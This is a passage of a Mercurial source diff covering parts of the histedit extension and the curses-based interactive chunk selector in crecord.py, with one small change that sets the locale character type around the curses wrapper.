     if state.actions:
         actobj = state.actions.pop(0)
 
         if _isdirtywc(repo):
             actobj.continuedirty()
             if _isdirtywc(repo):
                 abortdirty()
 
         parentctx, replacements = actobj.continueclean()
 
         state.parentctxnode = parentctx.node()
         state.replacements.extend(replacements)
 
     return state
 
 
 def between(repo, old, new, keep):
     """select and validate the set of revision to edit
 
     When keep is false, the specified set can't have children."""
     revs = repo.revs(b'%n::%n', old, new)
     if revs and not keep:
         rewriteutil.precheck(repo, revs, b'edit')
         if repo.revs(b'(%ld) and merge()', revs):
             raise error.Abort(_(b'cannot edit history that contains merges'))
     return pycompat.maplist(repo.changelog.node, revs)
 
 
 def ruleeditor(repo, ui, actions, editcomment=b""):
     """open an editor to edit rules
 
     rules are in the format [ [act, ctx], ...] like in state.rules
     """
     if repo.ui.configbool(b"experimental", b"histedit.autoverb"):
         newact = util.sortdict()
         for act in actions:
             ctx = repo[act.node]
             summary = _getsummary(ctx)
             fword = summary.split(b' ', 1)[0].lower()
             added = False
 
             # if it doesn't end with the special character '!' just skip this
             if fword.endswith(b'!'):
                 fword = fword[:-1]
                 if fword in primaryactions | secondaryactions | tertiaryactions:
                     act.verb = fword
                     # get the target summary
                     tsum = summary[len(fword) + 1 :].lstrip()
                     # safe but slow: reverse iterate over the actions so we
                     # don't clash on two commits having the same summary
                     for na, l in reversed(list(pycompat.iteritems(newact))):
                         actx = repo[na.node]
                         asum = _getsummary(actx)
                         if asum == tsum:
                             added = True
                             l.append(act)
                             break
 
             if not added:
                 newact[act] = []
 
         # copy over and flatten the new list
         actions = []
         for na, l in pycompat.iteritems(newact):
             actions.append(na)
             actions += l
 
     rules = b'\n'.join([act.torule() for act in actions])
     rules += b'\n\n'
     rules += editcomment
     rules = ui.edit(
         rules,
         ui.username(),
         {b'prefix': b'histedit'},
         repopath=repo.path,
         action=b'histedit',
     )
 
     # Save edit rules in .hg/histedit-last-edit.txt in case
     # the user needs to ask for help after something
     # surprising happens.
     with repo.vfs(b'histedit-last-edit.txt', b'wb') as f:
         f.write(rules)
 
     return rules
 
 
 def parserules(rules, state):
     """Read the histedit rules string and return list of action objects """
     rules = [
         l
         for l in (r.strip() for r in rules.splitlines())
         if l and not l.startswith(b'#')
     ]
     actions = []
     for r in rules:
         if b' ' not in r:
             raise error.ParseError(_(b'malformed line "%s"') % r)
         verb, rest = r.split(b' ', 1)
 
         if verb not in actiontable:
             raise error.ParseError(_(b'unknown action "%s"') % verb)
 
         action = actiontable[verb].fromrule(state, rest)
         actions.append(action)
     return actions
 
 
 def warnverifyactions(ui, repo, actions, state, ctxs):
     try:
         verifyactions(actions, state, ctxs)
     except error.ParseError:
         if repo.vfs.exists(b'histedit-last-edit.txt'):
             ui.warn(
                 _(
                     b'warning: histedit rules saved '
                     b'to: .hg/histedit-last-edit.txt\n'
                 )
             )
         raise
 
 
 def verifyactions(actions, state, ctxs):
     """Verify that there exists exactly one action per given changeset and
     other constraints.
 
     Will abort if there are to many or too few rules, a malformed rule,
     or a rule on a changeset outside of the user-given range.
     """
     expected = {c.node() for c in ctxs}
     seen = set()
     prev = None
 
     if actions and actions[0].verb in [b'roll', b'fold']:
         raise error.ParseError(
             _(b'first changeset cannot use verb "%s"') % actions[0].verb
         )
 
     for action in actions:
         action.verify(prev, expected, seen)
         prev = action
         if action.node is not None:
             seen.add(action.node)
     missing = sorted(expected - seen)  # sort to stabilize output
 
     if state.repo.ui.configbool(b'histedit', b'dropmissing'):
         if len(actions) == 0:
             raise error.ParseError(
                 _(b'no rules provided'),
                 hint=_(b'use strip extension to remove commits'),
             )
 
         drops = [drop(state, n) for n in missing]
         # put the in the beginning so they execute immediately and
         # don't show in the edit-plan in the future
         actions[:0] = drops
     elif missing:
         raise error.ParseError(
             _(b'missing rules for changeset %s') % node.short(missing[0]),
             hint=_(
                 b'use "drop %s" to discard, see also: '
                 b"'hg help -e histedit.config'"
             )
             % node.short(missing[0]),
         )
 
 
 def adjustreplacementsfrommarkers(repo, oldreplacements):
     """Adjust replacements from obsolescence markers
 
     Replacements structure is originally generated based on
     histedit's state and does not account for changes that are
     not recorded there. This function fixes that by adding
     data read from obsolescence markers"""
     if not obsolete.isenabled(repo, obsolete.createmarkersopt):
         return oldreplacements
 
     unfi = repo.unfiltered()
     get_rev = unfi.changelog.index.get_rev
     obsstore = repo.obsstore
     newreplacements = list(oldreplacements)
     oldsuccs = [r[1] for r in oldreplacements]
     # successors that have already been added to succstocheck once
     seensuccs = set().union(
         *oldsuccs
     )  # create a set from an iterable of tuples
     succstocheck = list(seensuccs)
     while succstocheck:
         n = succstocheck.pop()
         missing = get_rev(n) is None
         markers = obsstore.successors.get(n, ())
         if missing and not markers:
             # dead end, mark it as such
             newreplacements.append((n, ()))
         for marker in markers:
             nsuccs = marker[1]
             newreplacements.append((n, nsuccs))
             for nsucc in nsuccs:
                 if nsucc not in seensuccs:
                     seensuccs.add(nsucc)
                     succstocheck.append(nsucc)
 
     return newreplacements
 
 
 def processreplacement(state):
     """process the list of replacements to return
 
     1) the final mapping between original and created nodes
     2) the list of temporary node created by histedit
     3) the list of new commit created by histedit"""
     replacements = adjustreplacementsfrommarkers(state.repo, state.replacements)
     allsuccs = set()
     replaced = set()
     fullmapping = {}
     # initialize basic set
     # fullmapping records all operations recorded in replacement
     for rep in replacements:
         allsuccs.update(rep[1])
         replaced.add(rep[0])
         fullmapping.setdefault(rep[0], set()).update(rep[1])
     new = allsuccs - replaced
     tmpnodes = allsuccs & replaced
     # Reduce content fullmapping into direct relation between original nodes
     # and final node created during history edition
     # Dropped changeset are replaced by an empty list
     toproceed = set(fullmapping)
     final = {}
     while toproceed:
         for x in list(toproceed):
             succs = fullmapping[x]
             for s in list(succs):
                 if s in toproceed:
                     # non final node with unknown closure
                     # We can't process this now
                     break
                 elif s in final:
                     # non final node, replace with closure
                     succs.remove(s)
                     succs.update(final[s])
             else:
                 final[x] = succs
                 toproceed.remove(x)
     # remove tmpnodes from final mapping
     for n in tmpnodes:
         del final[n]
     # we expect all changes involved in final to exist in the repo
     # turn `final` into list (topologically sorted)
     get_rev = state.repo.changelog.index.get_rev
     for prec, succs in final.items():
         final[prec] = sorted(succs, key=get_rev)
 
     # computed topmost element (necessary for bookmark)
     if new:
         newtopmost = sorted(new, key=state.repo.changelog.rev)[-1]
     elif not final:
         # Nothing rewritten at all. we won't need `newtopmost`
         # It is the same as `oldtopmost` and `processreplacement` know it
         newtopmost = None
     else:
         # every body died. The newtopmost is the parent of the root.
         r = state.repo.changelog.rev
         newtopmost = state.repo[sorted(final, key=r)[0]].p1().node()
 
     return final, tmpnodes, new, newtopmost
 
 
 def movetopmostbookmarks(repo, oldtopmost, newtopmost):
     """Move bookmark from oldtopmost to newly created topmost
 
     This is arguably a feature and we may only want that for the active
     bookmark. But the behavior is kept compatible with the old version for now.
     """
     if not oldtopmost or not newtopmost:
         return
     oldbmarks = repo.nodebookmarks(oldtopmost)
     if oldbmarks:
         with repo.lock(), repo.transaction(b'histedit') as tr:
             marks = repo._bookmarks
             changes = []
             for name in oldbmarks:
                 changes.append((name, newtopmost))
             marks.applychanges(repo, tr, changes)
 
 
 def cleanupnode(ui, repo, nodes, nobackup=False):
     """strip a group of nodes from the repository
 
     The set of node to strip may contains unknown nodes."""
     with repo.lock():
         # do not let filtering get in the way of the cleanse
         # we should probably get rid of obsolescence marker created during the
         # histedit, but we currently do not have such information.
         repo = repo.unfiltered()
         # Find all nodes that need to be stripped
         # (we use %lr instead of %ln to silently ignore unknown items)
         has_node = repo.changelog.index.has_node
         nodes = sorted(n for n in nodes if has_node(n))
         roots = [c.node() for c in repo.set(b"roots(%ln)", nodes)]
         if roots:
             backup = not nobackup
             repair.strip(ui, repo, roots, backup=backup)
 
 
 def stripwrapper(orig, ui, repo, nodelist, *args, **kwargs):
     if isinstance(nodelist, bytes):
         nodelist = [nodelist]
     state = histeditstate(repo)
     if state.inprogress():
         state.read()
         histedit_nodes = {
             action.node for action in state.actions if action.node
         }
         common_nodes = histedit_nodes & set(nodelist)
         if common_nodes:
             raise error.Abort(
                 _(b"histedit in progress, can't strip %s")
                 % b', '.join(node.short(x) for x in common_nodes)
             )
     return orig(ui, repo, nodelist, *args, **kwargs)
 
 
 extensions.wrapfunction(repair, b'strip', stripwrapper)
 
 
 def summaryhook(ui, repo):
     state = histeditstate(repo)
     if not state.inprogress():
         return
     state.read()
     if state.actions:
         # i18n: column positioning for "hg summary"
         ui.write(
             _(b'hist:   %s (histedit --continue)\n')
             % (
                 ui.label(_(b'%d remaining'), b'histedit.remaining')
                 % len(state.actions)
             )
         )
 
 
 def extsetup(ui):
     cmdutil.summaryhooks.add(b'histedit', summaryhook)
     statemod.addunfinished(
         b'histedit',
         fname=b'histedit-state',
         allowcommit=True,
         continueflag=True,
         abortfunc=hgaborthistedit,
     )

mercurial/crecord.py

@@ -1,2025 +1,2026 b''
 # stuff related specifically to patch manipulation / parsing
 #
 # Copyright 2008 Mark Edgington <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 #
 # This code is based on the Mark Edgington's crecord extension.
 # (Itself based on Bryan O'Sullivan's record extension.)
 
 from __future__ import absolute_import
 
 import os
 import re
 import signal
 
 from .i18n import _
 from .pycompat import (
     getattr,
     open,
 )
 from . import (
     encoding,
     error,
     patch as patchmod,
     pycompat,
     scmutil,
     util,
 )
 from .utils import stringutil
 
 stringio = util.stringio
 
 # patch comments based on the git one
 diffhelptext = _(
     """# To remove '-' lines, make them ' ' lines (context).
 # To remove '+' lines, delete them.
 # Lines starting with # will be removed from the patch.
 """
 )
 
 hunkhelptext = _(
     """#
 # If the patch applies cleanly, the edited hunk will immediately be
 # added to the record list. If it does not apply cleanly, a rejects file
 # will be generated. You can use that when you try again. If all lines
 # of the hunk are removed, then the edit is aborted and the hunk is left
 # unchanged.
 """
 )
 
 patchhelptext = _(
     """#
 # If the patch applies cleanly, the edited patch will immediately
 # be finalised. If it does not apply cleanly, rejects files will be
 # generated. You can use those when you try again.
 """
 )
 
 try:
     import curses
     import curses.ascii
 
     curses.error
 except (ImportError, AttributeError):
     curses = False
 
 
 class fallbackerror(error.Abort):
     """Error that indicates the client should try to fallback to text mode."""
 
     # Inherits from error.Abort so that existing behavior is preserved if the
     # calling code does not know how to fallback.
 
 
 def checkcurses(ui):
     """Return True if the user wants to use curses
 
     This method returns True if curses is found (and that python is built with
     it) and that the user has the correct flag for the ui.
     """
     return curses and ui.interface(b"chunkselector") == b"curses"
 
 
 class patchnode(object):
     """abstract class for patch graph nodes
     (i.e. patchroot, header, hunk, hunkline)
     """
 
     def firstchild(self):
         raise NotImplementedError(b"method must be implemented by subclass")
 
     def lastchild(self):
         raise NotImplementedError(b"method must be implemented by subclass")
 
     def allchildren(self):
         """Return a list of all of the direct children of this node"""
         raise NotImplementedError(b"method must be implemented by subclass")
 
     def nextsibling(self):
         """
         Return the closest next item of the same type where there are no items
         of different types between the current item and this closest item.
         If no such item exists, return None.
         """
         raise NotImplementedError(b"method must be implemented by subclass")
 
     def prevsibling(self):
         """
         Return the closest previous item of the same type where there are no
         items of different types between the current item and this closest item.
         If no such item exists, return None.
         """
         raise NotImplementedError(b"method must be implemented by subclass")
 
     def parentitem(self):
         raise NotImplementedError(b"method must be implemented by subclass")
 
     def nextitem(self, skipfolded=True):
         """
         Try to return the next item closest to this item, regardless of item's
         type (header, hunk, or hunkline).
 
         If skipfolded == True, and the current item is folded, then the child
         items that are hidden due to folding will be skipped when determining
         the next item.
 
         If it is not possible to get the next item, return None.
         """
         try:
             itemfolded = self.folded
         except AttributeError:
             itemfolded = False
         if skipfolded and itemfolded:
             nextitem = self.nextsibling()
             if nextitem is None:
                 try:
                     nextitem = self.parentitem().nextsibling()
                 except AttributeError:
                     nextitem = None
             return nextitem
         else:
             # try child
             item = self.firstchild()
             if item is not None:
                 return item
 
             # else try next sibling
             item = self.nextsibling()
             if item is not None:
                 return item
 
             try:
                 # else try parent's next sibling
                 item = self.parentitem().nextsibling()
                 if item is not None:
                     return item
 
                 # else return grandparent's next sibling (or None)
                 return self.parentitem().parentitem().nextsibling()
 
             except AttributeError:  # parent and/or grandparent was None
                 return None
 
     def previtem(self):
         """
         Try to return the previous item closest to this item, regardless of
         item's type (header, hunk, or hunkline).
 
         If it is not possible to get the previous item, return None.
         """
         # try previous sibling's last child's last child,
         # else try previous sibling's last child, else try previous sibling
         prevsibling = self.prevsibling()
         if prevsibling is not None:
             prevsiblinglastchild = prevsibling.lastchild()
             if (prevsiblinglastchild is not None) and not prevsibling.folded:
                 prevsiblinglclc = prevsiblinglastchild.lastchild()
                 if (
                     prevsiblinglclc is not None
                 ) and not prevsiblinglastchild.folded:
                     return prevsiblinglclc
                 else:
                     return prevsiblinglastchild
             else:
                 return prevsibling
 
         # try parent (or None)
         return self.parentitem()
 
 
 class patch(patchnode, list):  # todo: rename patchroot
     """
     list of header objects representing the patch.
     """
 
     def __init__(self, headerlist):
         self.extend(headerlist)
         # add parent patch object reference to each header
         for header in self:
             header.patch = self
 
 
 class uiheader(patchnode):
     """patch header
 
     xxx shouldn't we move this to mercurial/patch.py ?
     """
 
     def __init__(self, header):
         self.nonuiheader = header
         # flag to indicate whether to apply this chunk
         self.applied = True
         # flag which only affects the status display indicating if a node's
         # children are partially applied (i.e. some applied, some not).
         self.partial = False
 
         # flag to indicate whether to display as folded/unfolded to user
         self.folded = True
 
         # list of all headers in patch
         self.patch = None
 
         # flag is False if this header was ever unfolded from initial state
         self.neverunfolded = True
         self.hunks = [uihunk(h, self) for h in self.hunks]
 
     def prettystr(self):
         x = stringio()
         self.pretty(x)
         return x.getvalue()
 
     def nextsibling(self):
         numheadersinpatch = len(self.patch)
         indexofthisheader = self.patch.index(self)
 
         if indexofthisheader < numheadersinpatch - 1:
             nextheader = self.patch[indexofthisheader + 1]
             return nextheader
         else:
             return None
 
     def prevsibling(self):
         indexofthisheader = self.patch.index(self)
         if indexofthisheader > 0:
             previousheader = self.patch[indexofthisheader - 1]
             return previousheader
         else:
             return None
 
     def parentitem(self):
         """
         there is no 'real' parent item of a header that can be selected,
         so return None.
         """
         return None
 
     def firstchild(self):
         """return the first child of this item, if one exists.  otherwise
         None."""
         if len(self.hunks) > 0:
             return self.hunks[0]
         else:
             return None
 
     def lastchild(self):
         """return the last child of this item, if one exists.  otherwise
         None."""
         if len(self.hunks) > 0:
             return self.hunks[-1]
         else:
             return None
 
     def allchildren(self):
         """return a list of all of the direct children of this node"""
         return self.hunks
 
     def __getattr__(self, name):
         return getattr(self.nonuiheader, name)
 
 
 class uihunkline(patchnode):
     """represents a changed line in a hunk"""
 
     def __init__(self, linetext, hunk):
         self.linetext = linetext
         self.applied = True
         # the parent hunk to which this line belongs
         self.hunk = hunk
         # folding lines currently is not used/needed, but this flag is needed
         # in the previtem method.
         self.folded = False
 
     def prettystr(self):
         return self.linetext
 
     def nextsibling(self):
         numlinesinhunk = len(self.hunk.changedlines)
         indexofthisline = self.hunk.changedlines.index(self)
 
         if indexofthisline < numlinesinhunk - 1:
             nextline = self.hunk.changedlines[indexofthisline + 1]
             return nextline
         else:
             return None
 
     def prevsibling(self):
         indexofthisline = self.hunk.changedlines.index(self)
         if indexofthisline > 0:
             previousline = self.hunk.changedlines[indexofthisline - 1]
             return previousline
         else:
             return None
 
     def parentitem(self):
         """return the parent to the current item"""
         return self.hunk
 
     def firstchild(self):
         """return the first child of this item, if one exists.  otherwise
         None."""
         # hunk-lines don't have children
         return None
 
     def lastchild(self):
         """return the last child of this item, if one exists.  otherwise
         None."""
         # hunk-lines don't have children
         return None
 
 
 class uihunk(patchnode):
     """ui patch hunk, wraps a hunk and keep track of ui behavior """
 
     maxcontext = 3
 
     def __init__(self, hunk, header):
         self._hunk = hunk
         self.changedlines = [uihunkline(line, self) for line in hunk.hunk]
         self.header = header
         # used at end for detecting how many removed lines were un-applied
         self.originalremoved = self.removed
 
         # flag to indicate whether to display as folded/unfolded to user
         self.folded = True
         # flag to indicate whether to apply this chunk
         self.applied = True
         # flag which only affects the status display indicating if a node's
         # children are partially applied (i.e. some applied, some not).
         self.partial = False
 
     def nextsibling(self):
         numhunksinheader = len(self.header.hunks)
         indexofthishunk = self.header.hunks.index(self)
 
         if indexofthishunk < numhunksinheader - 1:
             nexthunk = self.header.hunks[indexofthishunk + 1]
             return nexthunk
         else:
             return None
 
     def prevsibling(self):
         indexofthishunk = self.header.hunks.index(self)
         if indexofthishunk > 0:
             previoushunk = self.header.hunks[indexofthishunk - 1]
             return previoushunk
         else:
             return None
 
     def parentitem(self):
         """return the parent to the current item"""
         return self.header
 
     def firstchild(self):
         """return the first child of this item, if one exists.  otherwise
         None."""
         if len(self.changedlines) > 0:
             return self.changedlines[0]
         else:
             return None
 
     def lastchild(self):
         """return the last child of this item, if one exists.  otherwise
         None."""
         if len(self.changedlines) > 0:
             return self.changedlines[-1]
         else:
             return None
 
     def allchildren(self):
         """return a list of all of the direct children of this node"""
         return self.changedlines
 
     def countchanges(self):
         """changedlines -> (n+,n-)"""
         add = len(
             [
                 l
                 for l in self.changedlines
                 if l.applied and l.prettystr().startswith(b'+')
             ]
         )
         rem = len(
             [
                 l
                 for l in self.changedlines
                 if l.applied and l.prettystr().startswith(b'-')
             ]
         )
         return add, rem
 
     def getfromtoline(self):
         # calculate the number of removed lines converted to context lines
         removedconvertedtocontext = self.originalremoved - self.removed
 
         contextlen = (
             len(self.before) + len(self.after) + removedconvertedtocontext
         )
         if self.after and self.after[-1] == b'\\ No newline at end of file\n':
             contextlen -= 1
         fromlen = contextlen + self.removed
         tolen = contextlen + self.added
 
         # diffutils manual, section "2.2.2.2 detailed description of unified
         # format": "an empty hunk is considered to end at the line that
         # precedes the hunk."
         #
         # so, if either of hunks is empty, decrease its line start. --immerrr
         # but only do this if fromline > 0, to avoid having, e.g fromline=-1.
         fromline, toline = self.fromline, self.toline
         if fromline != 0:
             if fromlen == 0:
                 fromline -= 1
             if tolen == 0 and toline > 0:
                 toline -= 1
 
         fromtoline = b'@@ -%d,%d +%d,%d @@%s\n' % (
             fromline,
             fromlen,
             toline,
             tolen,
             self.proc and (b' ' + self.proc),
         )
         return fromtoline
 
     def write(self, fp):
         # updated self.added/removed, which are used by getfromtoline()
         self.added, self.removed = self.countchanges()
         fp.write(self.getfromtoline())
 
         hunklinelist = []
         # add the following to the list: (1) all applied lines, and
         # (2) all unapplied removal lines (convert these to context lines)
         for changedline in self.changedlines:
             changedlinestr = changedline.prettystr()
             if changedline.applied:
                 hunklinelist.append(changedlinestr)
             elif changedlinestr.startswith(b"-"):
                 hunklinelist.append(b" " + changedlinestr[1:])
 
         fp.write(b''.join(self.before + hunklinelist + self.after))
 
     pretty = write
 
     def prettystr(self):
         x = stringio()
         self.pretty(x)
         return x.getvalue()
 
     def reversehunk(self):
         """return a recordhunk which is the reverse of the hunk
 
         Assuming the displayed patch is diff(A, B) result. The returned hunk is
         intended to be applied to B, instead of A.
 
         For example, when A is "0\n1\n2\n6\n" and B is "0\n3\n4\n5\n6\n", and
         the user made the following selection:
 
                  0
             [x] -1           [x]: selected
             [ ] -2           [ ]: not selected
             [x] +3
             [ ] +4
             [x] +5
                  6
 
         This function returns a hunk like:
 
                  0
                 -3
                 -4
                 -5
                 +1
                 +4
                  6
 
         Note "4" was first deleted then added. That's because "4" exists in B
         side and "-4" must exist between "-3" and "-5" to make the patch
         applicable to B.
         """
         dels = []
         adds = []
         for line in self.changedlines:
             text = line.linetext
             if line.applied:
                 if text.startswith(b'+'):
                     dels.append(text[1:])
                 elif text.startswith(b'-'):
                     adds.append(text[1:])
             elif text.startswith(b'+'):
                 dels.append(text[1:])
                 adds.append(text[1:])
         hunk = [b'-%s' % l for l in dels] + [b'+%s' % l for l in adds]
         h = self._hunk
         return patchmod.recordhunk(
             h.header, h.toline, h.fromline, h.proc, h.before, hunk, h.after
         )
 
     def __getattr__(self, name):
         return getattr(self._hunk, name)
 
     def __repr__(self):
         return '<hunk %r@%d>' % (self.filename(), self.fromline)
 
 
 def filterpatch(ui, chunks, chunkselector, operation=None):
     """interactively filter patch chunks into applied-only chunks"""
     chunks = list(chunks)
     # convert chunks list into structure suitable for displaying/modifying
     # with curses.  create a list of headers only.
     headers = [c for c in chunks if isinstance(c, patchmod.header)]
 
     # if there are no changed files
     if len(headers) == 0:
         return [], {}
     uiheaders = [uiheader(h) for h in headers]
     # let user choose headers/hunks/lines, and mark their applied flags
     # accordingly
     ret = chunkselector(ui, uiheaders, operation=operation)
     appliedhunklist = []
     for hdr in uiheaders:
         if hdr.applied and (
             hdr.special() or len([h for h in hdr.hunks if h.applied]) > 0
         ):
             appliedhunklist.append(hdr)
             fixoffset = 0
             for hnk in hdr.hunks:
                 if hnk.applied:
                     appliedhunklist.append(hnk)
                     # adjust the 'to'-line offset of the hunk to be correct
                     # after de-activating some of the other hunks for this file
                     if fixoffset:
                         # hnk = copy.copy(hnk) # necessary??
                         hnk.toline += fixoffset
                 else:
                     fixoffset += hnk.removed - hnk.added
 
     return (appliedhunklist, ret)
 
 
 def chunkselector(ui, headerlist, operation=None):
     """
     curses interface to get selection of chunks, and mark the applied flags
     of the chosen chunks.
     """
     ui.write(_(b'starting interactive selection\n'))
     chunkselector = curseschunkselector(headerlist, ui, operation)
     origsigtstp = sentinel = object()
     if util.safehasattr(signal, b'SIGTSTP'):
         origsigtstp = signal.getsignal(signal.SIGTSTP)
     try:
-        curses.wrapper(chunkselector.main)
+        with util.with_lc_ctype():
+            curses.wrapper(chunkselector.main)
         if chunkselector.initexc is not None:
             raise chunkselector.initexc
         # ncurses does not restore signal handler for SIGTSTP
     finally:
         if origsigtstp is not sentinel:
             signal.signal(signal.SIGTSTP, origsigtstp)
     return chunkselector.opts
 
 
 def testdecorator(testfn, f):
     def u(*args, **kwargs):
         return f(testfn, *args, **kwargs)
 
     return u
 
 
 def testchunkselector(testfn, ui, headerlist, operation=None):
     """
     test interface to get selection of chunks, and mark the applied flags
     of the chosen chunks.
     """
     chunkselector = curseschunkselector(headerlist, ui, operation)
 
     class dummystdscr(object):
         def clear(self):
             pass
 
         def refresh(self):
             pass
 
     chunkselector.stdscr = dummystdscr()
     if testfn and os.path.exists(testfn):
         testf = open(testfn, 'r')
         testcommands = [x.rstrip('\n') for x in testf.readlines()]
         testf.close()
         while True:
             if chunkselector.handlekeypressed(testcommands.pop(0), test=True):
                 break
     return chunkselector.opts
 
 
 _headermessages = {  # {operation: text}
     b'apply': _(b'Select hunks to apply'),
     b'discard': _(b'Select hunks to discard'),
     b'keep': _(b'Select hunks to keep'),
     None: _(b'Select hunks to record'),
 }
 
 
 class curseschunkselector(object):
     def __init__(self, headerlist, ui, operation=None):
         # put the headers into a patch object
         self.headerlist = patch(headerlist)
 
         self.ui = ui
         self.opts = {}
 
         self.errorstr = None
         # list of all chunks
         self.chunklist = []
         for h in headerlist:
             self.chunklist.append(h)
             self.chunklist.extend(h.hunks)
 
         # dictionary mapping (fgcolor, bgcolor) pairs to the
         # corresponding curses color-pair value.
         self.colorpairs = {}
         # maps custom nicknames of color-pairs to curses color-pair values
         self.colorpairnames = {}
 
         # Honor color setting of ui section. Keep colored setup as
         # long as not explicitly set to a falsy value - especially,
         # when not set at all. This is to stay most compatible with
         # previous (color only) behaviour.
         uicolor = stringutil.parsebool(self.ui.config(b'ui', b'color'))
         self.usecolor = uicolor is not False
 
         # the currently selected header, hunk, or hunk-line
         self.currentselecteditem = self.headerlist[0]
         self.lastapplieditem = None
 
         # updated when printing out patch-display -- the 'lines' here are the
         # line positions *in the pad*, not on the screen.
         self.selecteditemstartline = 0
         self.selecteditemendline = None
 
         # define indentation levels
         self.headerindentnumchars = 0
         self.hunkindentnumchars = 3
         self.hunklineindentnumchars = 6
 
         # the first line of the pad to print to the screen
         self.firstlineofpadtoprint = 0
 
         # keeps track of the number of lines in the pad
         self.numpadlines = None
 
         self.numstatuslines = 1
 
         # keep a running count of the number of lines printed to the pad
         # (used for determining when the selected item begins/ends)
         self.linesprintedtopadsofar = 0
 
         # stores optional text for a commit comment provided by the user
         self.commenttext = b""
 
         # if the last 'toggle all' command caused all changes to be applied
         self.waslasttoggleallapplied = True
 
         # affects some ui text
         if operation not in _headermessages:
             raise error.ProgrammingError(
                 b'unexpected operation: %s' % operation
             )
         self.operation = operation
 
     def uparrowevent(self):
         """
         try to select the previous item to the current item that has the
         most-indented level.  for example, if a hunk is selected, try to select
         the last hunkline of the hunk prior to the selected hunk.  or, if
         the first hunkline of a hunk is currently selected, then select the
         hunk itself.
         """
         currentitem = self.currentselecteditem
 
         nextitem = currentitem.previtem()
 
         if nextitem is None:
             # if no parent item (i.e. currentitem is the first header), then
             # no change...
             nextitem = currentitem
 
         self.currentselecteditem = nextitem
 
     def uparrowshiftevent(self):
         """
         select (if possible) the previous item on the same level as the
         currently selected item.  otherwise, select (if possible) the
         parent-item of the currently selected item.
         """
         currentitem = self.currentselecteditem
         nextitem = currentitem.prevsibling()
         # if there's no previous sibling, try choosing the parent
         if nextitem is None:
             nextitem = currentitem.parentitem()
         if nextitem is None:
             # if no parent item (i.e. currentitem is the first header), then
             # no change...
             nextitem = currentitem
 
         self.currentselecteditem = nextitem
         self.recenterdisplayedarea()
 
     def downarrowevent(self):
         """
         try to select the next item to the current item that has the
         most-indented level.  for example, if a hunk is selected, select
         the first hunkline of the selected hunk.  or, if the last hunkline of
         a hunk is currently selected, then select the next hunk, if one exists,
         or if not, the next header if one exists.
         """
         # self.startprintline += 1 #debug
         currentitem = self.currentselecteditem
 
         nextitem = currentitem.nextitem()
         # if there's no next item, keep the selection as-is
         if nextitem is None:
             nextitem = currentitem
 
         self.currentselecteditem = nextitem
 
     def downarrowshiftevent(self):
         """
         select (if possible) the next item on the same level as the currently
         selected item.  otherwise, select (if possible) the next item on the
         same level as the parent item of the currently selected item.
         """
         currentitem = self.currentselecteditem
         nextitem = currentitem.nextsibling()
         # if there's no next sibling, try choosing the parent's nextsibling
         if nextitem is None:
             try:
                 nextitem = currentitem.parentitem().nextsibling()
             except AttributeError:
                 # parentitem returned None, so nextsibling() can't be called
                 nextitem = None
         if nextitem is None:
             # if parent has no next sibling, then no change...
             nextitem = currentitem
 
         self.currentselecteditem = nextitem
         self.recenterdisplayedarea()
 
     def nextsametype(self, test=False):
         currentitem = self.currentselecteditem
         sametype = lambda item: isinstance(item, type(currentitem))
         nextitem = currentitem.nextitem()
 
         while nextitem is not None and not sametype(nextitem):
             nextitem = nextitem.nextitem()
 
         if nextitem is None:
             nextitem = currentitem
         else:
             parent = nextitem.parentitem()
             if parent is not None and parent.folded:
                 self.togglefolded(parent)
 
         self.currentselecteditem = nextitem
         if not test:
             self.recenterdisplayedarea()
 
     def rightarrowevent(self):
         """
         select (if possible) the first of this item's child-items.
         """
         currentitem = self.currentselecteditem
         nextitem = currentitem.firstchild()
 
         # turn off folding if we want to show a child-item
         if currentitem.folded:
             self.togglefolded(currentitem)
 
         if nextitem is None:
             # if no next item on parent-level, then no change...
             nextitem = currentitem
 
         self.currentselecteditem = nextitem
 
     def leftarrowevent(self):
         """
         if the current item can be folded (i.e. it is an unfolded header or
         hunk), then fold it.  otherwise try select (if possible) the parent
         of this item.
         """
         currentitem = self.currentselecteditem
 
         # try to fold the item
         if not isinstance(currentitem, uihunkline):
             if not currentitem.folded:
                 self.togglefolded(item=currentitem)
                 return
 
         # if it can't be folded, try to select the parent item
         nextitem = currentitem.parentitem()
 
         if nextitem is None:
             # if no item on parent-level, then no change...
             nextitem = currentitem
             if not nextitem.folded:
                 self.togglefolded(item=nextitem)
 
         self.currentselecteditem = nextitem
 
     def leftarrowshiftevent(self):
         """
         select the header of the current item (or fold current item if the
         current item is already a header).
         """
         currentitem = self.currentselecteditem
 
         if isinstance(currentitem, uiheader):
             if not currentitem.folded:
                 self.togglefolded(item=currentitem)
                 return
 
         # select the parent item recursively until we're at a header
         while True:
             nextitem = currentitem.parentitem()
             if nextitem is None:
                 break
             else:
                 currentitem = nextitem
 
         self.currentselecteditem = currentitem
 
     def updatescroll(self):
         """scroll the screen to fully show the currently-selected"""
         selstart = self.selecteditemstartline
         selend = self.selecteditemendline
 
         padstart = self.firstlineofpadtoprint
         padend = padstart + self.yscreensize - self.numstatuslines - 1
         # 'buffered' pad start/end values which scroll with a certain
         # top/bottom context margin
         padstartbuffered = padstart + 3
         padendbuffered = padend - 3
 
         if selend > padendbuffered:
             self.scrolllines(selend - padendbuffered)
         elif selstart < padstartbuffered:
             # negative values scroll in pgup direction
             self.scrolllines(selstart - padstartbuffered)
 
     def scrolllines(self, numlines):
         """scroll the screen up (down) by numlines when numlines >0 (<0)."""
         self.firstlineofpadtoprint += numlines
         if self.firstlineofpadtoprint < 0:
             self.firstlineofpadtoprint = 0
         if self.firstlineofpadtoprint > self.numpadlines - 1:
             self.firstlineofpadtoprint = self.numpadlines - 1
 
     def toggleapply(self, item=None):
         """
         toggle the applied flag of the specified item.  if no item is specified,
         toggle the flag of the currently selected item.
         """
         if item is None:
             item = self.currentselecteditem
             # Only set this when NOT using 'toggleall'
             self.lastapplieditem = item
 
         item.applied = not item.applied
 
         if isinstance(item, uiheader):
             item.partial = False
             if item.applied:
                 # apply all its hunks
                 for hnk in item.hunks:
                     hnk.applied = True
                     # apply all their hunklines
                     for hunkline in hnk.changedlines:
                         hunkline.applied = True
             else:
                 # un-apply all its hunks
                 for hnk in item.hunks:
                     hnk.applied = False
                     hnk.partial = False
                     # un-apply all their hunklines
                     for hunkline in hnk.changedlines:
                         hunkline.applied = False
         elif isinstance(item, uihunk):
             item.partial = False
             # apply all it's hunklines
             for hunkline in item.changedlines:
                 hunkline.applied = item.applied
 
